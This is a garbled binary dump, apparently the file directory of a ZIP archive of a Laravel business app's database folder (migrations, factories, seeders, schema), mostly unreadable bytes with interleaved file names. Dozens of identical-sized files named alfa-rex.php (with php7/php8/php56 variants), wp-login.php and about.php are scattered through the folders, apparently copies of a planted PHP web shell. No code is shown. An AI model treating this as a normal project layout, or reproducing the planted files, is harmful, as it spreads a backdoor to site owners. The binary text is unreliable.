J7omigrations/2023_10_27_071930_repeat_event_parnet_id.phpnu[PKZ%<kmigrations/2024_10_04_043201_cleanup_deleted_leaves_data.phpnu[PKZ_T 4϶migrations/2022_12_30_090615_move_google_map_key.phpnu[PKZl  Fmigrations/2024_09_23_081839_alter_data_type_of_task_table_columns.phpnu[PKZ#$ Gemigrations/2024_08_12_121751_pending_and_negative_leaves_settlement.phpnu[PKZmGmigrations/2024_05_03_102713_update_exchange_rate_in_expenses_table.phpnu[PKZ>migrations/2023_02_09_083357_create_passprt_and_visa_table.phpnu[PKZ=<migrations/2024_06_26_105345_create_automate_shifts_table.phpnu[PKZ]6migrations/2024_07_22_051342_update_module_setting.phpnu[PKZ*)$$L}migrations/2022_07_04_111754_add_project_short_code_column_project_table.phpnu[PKZ}}Gmigrations/2024_06_05_101518_add_half_day_type_to_attendances_table.phpnu[PKZwR migrations/2024_06_12_105831_project_time_log_null_entries_on_task_soft_delete.phpnu[PKZEQQQQ; migrations/2023_12_05_062223_create_lead_contract_table.phpnu[PKZ 77Bc]migrations/2024_03_12_065738_add_columns_fix_to_holidays_table.phpnu[PKZ~ .H dmigrations/2024_04_29_123208_add_column_type_in_ticket_replies_table.phpnu[PKZ<4  1gmigrations/2024_04_15_112542_password_encrypt.phpnu[PKZK;;@ssmigrations/2023_09_05_111736_employee_can_export_data_tabled.phpnu[PKZ-wmigrations/2024_01_29_052114_lead_changes.phpnu[PKZ=:EaaYomigrations/2024_06_06_085555_change_lead_contact_permission_all_added_owned_both_none.phpnu[PKZ HQ<<?Ymigrations/2024_12_24_064941_add_weekly_timesheet_id_column.phpnu[PKZHmigrations/2023_05_04_083334_add_early_clock_in_employee_shift_table.phpnu[PKZ.:b*b*;migrations/2018_01_01_000000_create_worksuite_new_table.phpnu[PKZt8v v ?ܿ migrations/2023_09_12_062223_create_ticket_activities_table.phpnu[PKZ < migrations/2023_10_31_102848_add_email_to_global_setting.phpnu[PKZƓGDD8F migrations/2024_07_31_12573412_insert_ticket_setting.phpnu[PKZZCv7 migrations/2024_11_05_051148_update_task_short_code.phpnu[PKZC:C migrations/2024_11_21_104656_update_attendance_setting.phpnu[PKZ$!GG7 migrations/2024_02_07_213519_update_users_header_ip.phpnu[PKZJ] K> migrations/2023_06_28_120547_alter_description_column_in_expenses_table.phpnu[PKZ/  ; migrations/2022_12_29_084526_create_subscriptions_table.phpnu[PKZپ=7 migrations/2023_01_05_084453_add_column_in_log_time_table.phpnu[PKZ;0;b migrations/2024_01_11_113519_update_marital_status_enum.phpnu[PKZ0jGGh migrations/2022_09_16_071005_add_headcount_and_joining_vs_attrition_widget_in_dashboard_widget_table.phpnu[PKZ+ ~Js migrations/2022_08_24_122345_add_lead_widget_in_dashboard_widget_table.phpnu[PKZO#! ; migrations/2022_09_01_060824_create_appreciations_table.phpnu[PKZ5% migrations/2022_09_00_000000_create_company_table.phpnu[PKZ&3uuAe' migrations/2022_09_13_075642_add_customised_permission_column.phpnu[PKZ`OOBK+ migrations/2024_02_13_094338_add_soft_delete_table_leave_types.phpnu[PKZR,< . migrations/2024_03_29_054907_add_webhook_secret_razorpay.phpnu[PKZ[[UT2 migrations/2024_05_03_062538_lead_contact_view_permission_changes_to_all_and_none.phpnu[PKZtHL[D48 migrations/2024_07_11_103437_create_remove_old_device_user_table.phpnu[PKZiZ+. . R~@ migrations/2023_03_16_105629_add_manage_ticket_group_field_in_permission_table.phpnu[PKZ;.J migrations/2023_10_25_073702_add_new_language_bg_and_id.phpnu[PKZ|{&KQ migrations/2024_09_11_123540_add_column_in_project_templates_task_table.phpnu[PKZp~ ~ L'T migrations/2023_01_31_072924_add_settings_to_email_notification_settings.phpnu[PKZgfN!` migrations/2024_06_04_083820_modify_status_column_in_pending_invoice_table.phpnu[PKZׄOO^qb migrations/2023_04_11_092420_add_overwrite_existing_attendance_column_in_attendances_table.phpnu[PKZ?Nf migrations/2024_10_18_051921_update_bank_account_type_value.phpnu[PKZ,Yh migrations/2024_07_01_045113_update_phonecode_for_republic_democreatic_congo_kinshasa.phpnu[PKZGJ{{8Sk migrations/2024_05_06_050805_modify_lead_notes_table.phpnu[PKZ-olD6n migrations/2025_02_25_055853_designation_delete_employee_details.phpnu[PKZ|Lhh<q migrations/2024_08_27_043137_cleanup_deleted_ticket_data.phpnu[PKZԂ<\y migrations/2024_03_08_091320_create_deal_histories_table.phpnu[PKZ BS migrations/2023_03_29_090137_create_custom_link_settings_table.phpnu[PKZr2 migrations/2023_03_17_045842_lead_custom_field.phpnu[PKZujxU migrations/2024_07_22_114153_add_leave_type_impact_to_employee_leave_quotas_table.phpnu[PKZ`D; migrations/2023_02_04_064358_create_lead_products_table.phpnu[PKZ-=EH migrations/2022_11_16_122431_add_contract_note_to_contracts_table.phpnu[PKZLS6  Fi migrations/2022_09_07_172743_add_lead_status_column_to_permissions.phpnu[PKZ?4BB: migrations/2023_11_23_065925_alter_sign_date_contracts.phpnu[PKZ;Pϰ; migrations/2023_11_27_081917_add_email_verified_setting.phpnu[PKZ6 migrations/2024_11_05_051148_image_offline_payment.phpnu[PKZ˙Hױ migrations/2023_05_31_052844_add_user_chat_id_in_mention_users_table.phpnu[PKZZKKS migrations/2024_07_01_115253_add_estimate_request_permission_and_request_number.phpnu[PKZ.Ҥ4 migrations/2023_05_16_085400_remove_translations.phpnu[PKZTlvv: migrations/2022_08_22_104028_knowledge_heading_missing.phpnu[PKZ*F migrations/2023_01_23_122023_add_column_in_invoice_recurring_table.phpnu[PKZ}bb@8 migrations/2025_01_10_214004_fix_shift_null_time_in_schedule.phpnu[PKZGAk}|-|- migrations/about.php7nu[PKZ0vk; migrations/2025_02_11_095704_cleanup_deleted_event_data.phpnu[PKZըK||< migrations/2024_06_20_044837_add_column_in_holiday_table.phpnu[PKZ(2H migrations/2024_08_27_093025_add_over_utilization_column_leave_types.phpnu[PKZKF migrations/2023_03_24_073030_add_payment_columns_in_invoices_table.phpnu[PKZ?u9A% migrations/2024_09_13_060425_add_promotion_permission.phpnu[PKZӑX^^565 migrations/2024_03_05_213519_update_users_headers.phpnu[PKZte=6 migrations/2024_02_02_114946_lead-files_changes_for_deals.phpnu[PKZTT4u; migrations/2024_03_22_104517_create_qrcode_table.phpnu[PKZ̻ ;-> migrations/2022_08_18_120924_create_task_settings_table.phpnu[PKZLLKeG migrations/2024_09_11_121116_create_table_invoice_payment_details_table.phpnu[PKZ7pO,K migrations/2024_06_04_113803_add_notification_in_notification_setting_table.phpnu[PKZ:+3559=O migrations/2022_08_03_101616_create_event_files_table.phpnu[PKZW(=W migrations/2024_04_23_082735_modify_column_in_deals_table.phpnu[PKZ>!!I^ migrations/2024_09_12_085411_add_invoice_payment_id_to_invoices_table.phpnu[PKZR~b migrations/2022_09_16_105720_update_permission_of_client_and_employee_document.phpnu[PKZHF:e migrations/2024_06_19_110315_upfate_default_shift_time.phpnu[PKZ[͟hhIXl migrations/2022_12_13_112213_add_new_fields_in_employee_details_table.phpnu[PKZ]dd 9{ .htaccessnu[PKZGAk}|-|-| factories/alfa-rex.phpnu[PKZ]dd factories/.htaccessnu[PKZGAk}|-|-? factories/alfa-rex.php7nu[PKZP33 factories/LeaveFactory.phpnu[PKZGAk}|-|- factories/alfa-rex.php8nu[PKZGAk}|-|-B factories/wp-login.phpnu[PKZsII9 factories/ExpenseFactory.phpnu[PKZ%(s< factories/LeadFactory.phpnu[PKZGAk}|-|-? factories/alfa-rex.php56nu[PKZGAk}|-|-m factories/about.phpnu[PKZ2o~ factories/error_lognu[PKZ2W factories/UserChatFactory.phpnu[PKZWff factories/DealFactory.phpnu[PKZ@hFFI factories/ProjectFactory.phpnu[PKZ-hh۽ factories/ProductFactory.phpnu[PKZ! factories/AppreciationFactory.phpnu[PKZ$ factories/ContractFactory.phpnu[PKZqa factories/UserFactory.phpnu[PKZ factories/TicketFactory.phpnu[PKZGAk}|-|- factories/about.php7nu[PKZɟ factories/EventFactory.phpnu[PKZJk factories/NoticeFactory.phpnu[PKZGAk}|-|- % alfa-rex.php7nu[PKZGAk}|-|-5 seeders/alfa-rex.phpnu[PKZic seeders/RoleSeeder.phpnu[PKZef seeders/TicketSeeder.phpnu[PKZP|J$n{ seeders/EmployeePermissionSeeder.phpnu[PKZ]dd seeders/.htaccessnu[PKZR (  P seeders/UsersTableSeeder.phpnu[PKZNRR! seeders/ProjectCategorySeeder.phpnu[PKZGAk}|-|-I seeders/alfa-rex.php7nu[PKZp seeders/TaxTableSeeder.phpnu[PKZGAk}|-|-E seeders/alfa-rex.php8nu[PKZOseeders/AppreciationSeeder.phpnu[PKZGAk}|-|-seeders/wp-login.phpnu[PKZ~;X +;seeders/OrganisationSettingsTableSeeder.phpnu[PKZGAk}|-|-1Hseeders/alfa-rex.php56nu[PKZBRRuseeders/ExpenseSeeder.phpnu[PKZ#zseeders/ContractTypeTableSeeder.phpnu[PKZ1x::seeders/MessageSeeder.phpnu[PKZGAk}|-|- seeders/about.phpnu[PKZ,dR ȵseeders/ShiftSeeder.phpnu[PKZ5(seeders/EmailSettingSeeder.phpnu[PKZː  seeders/DatabaseSeeder.phpnu[PKZK''.seeders/NoticesTableSeeder.phpnu[PKZɖseeders/error_lognu[PKZ zseeders/CountriesTableSeeder.phpnu[PKZ͔0F F xseeders/CoreDatabaseSeeder.phpnu[PKZ)pseeders/BankAccountSeeder.phpnu[PKZsGHGHseeders/ProjectSeeder.phpnu[PKZ'J>@seeders/EventTableSeeder.phpnu[PKZA& seeders/LeaveSeeder.phpnu[PKZ-T T -seeders/EstimateSeeder.phpnu[PKZ1XfrOOseeders/TicketSettingSeeder.phpnu[PKZJ((!iseeders/DepartmentTableSeeder.phpnu[PKZi((!seeders/AttendanceTableSeeder.phpnu[PKZ{^Y"[seeders/ProjectAdminRoleSeeder.phpnu[PKZ%JJseeders/ContractTableSeeder.phpnu[PKZGAk}|-|-Iseeders/about.php7nu[PKZS2seeders/LeadSeeder.phpnu[PKZp %%Aseeders/SmtpSettingsSeeder.phpnu[PKZi'##Cseeders/ProductTableSeeder.phpnu[PKZ>->RR"Eseeders/ModulePermissionSeeder.phpnu[PKZ6@  Kseeders/LeadsTableSeeder.phpnu[PKZGAk}|-|- Ualfa-rex.php8nu[PKZGAk}|-|- wp-login.phpnu[PKZxr w.gitignorenu[PKZGAk}|-|-˰alfa-rex.php56nu[PKZGAk}|-|-schema/alfa-rex.phpnu[PKZ]ddD schema/.htaccessnu[PKZGAk}|-|- schema/alfa-rex.php7nu[PKZGAk}|-|-;schema/alfa-rex.php8nu[PKZ$nnhischema/mysql-schema.dumpnu[PKZGAk}|-|-{schema/wp-login.phpnu[PKZGAk}|-|-ݨschema/alfa-rex.php56nu[PKZGAk}|-|-schema/about.phpnu[PKZ= Zschema/error_lognu[PKZGAk}|-|-0schema/about.php7nu[PKZGAk}|-|- 5about.phpnu[PKZqXߖ cerror_lognu[PKZVG11qgnativephp.sqlitenu[PKZGAk}|-|- gHabout.php7nu[PKZ9n gH.DS_Storenu[PKVV?H